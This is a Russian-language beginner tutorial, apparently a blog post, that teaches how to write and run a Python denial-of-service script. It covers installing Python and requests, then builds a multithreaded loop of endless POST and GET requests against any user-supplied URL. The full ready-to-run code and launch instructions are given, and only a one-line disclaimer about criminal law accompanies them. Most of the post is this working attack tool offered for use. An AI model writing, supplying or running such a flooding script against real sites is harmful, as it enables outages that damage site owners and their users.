Уничтожение сайта скриптом на Python в половину странички!
Здравствуйте друзья!
Сегодня хотел бы рассмотреть такую тему как DDOS атака на сайт в глазах профессиональной аудитории IT сообщества.
Проще говоря DDOS атака программистом.
Пост создан только в благих целях! Используя DDOS как средство атаки на чужой сайт вы нарушаете 273. статью УК РФ.
Начнем! Для начала вы должны установить Python (сделать это вы можете на оф.сайте языка: https://www.python.org/downloads)
Выбираете доступную вам версию- и скачиваете установщик.
Установка:
Правильная установка очень важна!
Для этого мы открываем установщик и в первой же вкладке ОБЯЗАТЕЛЬНО отмечаем галочкой пункт "Add to path"!
Далее нажимаем на кнопку "Install now" и собственно производим саму установку языка.
После того, как язык успешно установился на наш компьютер, мы должны установить "библиотеку" (как бы дополнение к нему).
Это делается очень просто!
Открываем командную строку windows(CMD)- это можно сделать если найти ее в меню "пуск", набрав в поиске "CMD" или зажав комбинацию клавиш Win + R и так же набрав в окне "открыть"
"cmd", далее нажать "ENTER" или "Ок".
После того, как мы открыли командную строку, вводим в ней команду для установки библиотеки:
pip install requests
Ждем устаноки библиотеки, на экране появляется текст. Установка длится от 3 до 40 секунд.
Дожидаемся финальной надписи "Sucefully installed requests" и переходим к написанию самого скрипта.
Скрипт.
Чтобы начать писать скрипт нам нужно открыть среду разработки и напиcания кода Python(IDLE)
Заходим в меню "пуск" и набираем в поиске "Python"
Находим название IDLE(Python *версия*) и запускаем.
Вот что мы видим далее:
Нам необходимо создать новый файл. Для этого переходим во вкладку "File" и нажимаем на "New file"
Пишем!
Полный, готовый код находится в самом низу!
Начинаем писать код!
первое что нам нужно сделать это подключить библиотеку "requests", которую мы установили.
для этого напишем :
import requests
Далее подключаем библиотеку "Thread" из библиотеки "threading", "Thread" пишется именно с большой буквы!
from threading import Thread
Мы подключили все нужные библиотеки, время сделать пользовательский ввод адреса сайта и силы(поточности) DDOS атаки.
url = input('Url: ')
thrnom = input('Threads: ')
Круто! Теперь при запуске программы, она попросит ввести нас адрес сайта, на который будет совершаться атака и силу атаки(в потоках)(со средним интернетом и средним ПК больше 800 ставить не советую!)
Настало время написать ту часть программы, которая отвечает за сам DDOS.
Для этого мы создадим функцию- бесконечный цикл и в ней две функциональных переменных, которые отправляют запросы.
def ddos():
while(1<10):
spam = requests.post(url)
spam2 = requests.get(url)
Функция создана! Осталось совсем чуть-чуть!
Давайте сделаем чтобы функция была поточной, и силу DDOS можно было регулировать
for i in range(int(thrnom)):
thr = Thread(target = ddos)
thr.start()
И в конце дописываем
print('DDOS is running...')
Чтобы знать что атака началась и идет.
Все! Скрипт написан!
Теперь сохраните файл зажав комбинацию клавиш ctrl + Shift + S или через меню "File" - "Safe as"
Находите свой файл и запускаете двойным кликом, вводите адрес, через "Enter" -силу(поточность) и повторным нажатием на "Enter" запускаете атаку.
Вот весь код программы:
import requests
from threading import Thread
url = input('Url: ')
thrnom = input('Threads :')
def ddos():
while(1<10):
spam = requests.post(url)
spam2 = requests.get(url)
for i in range(int(thrnom)):
thr = Thread(target = ddos)
thr.start()
print('DDOS is running...')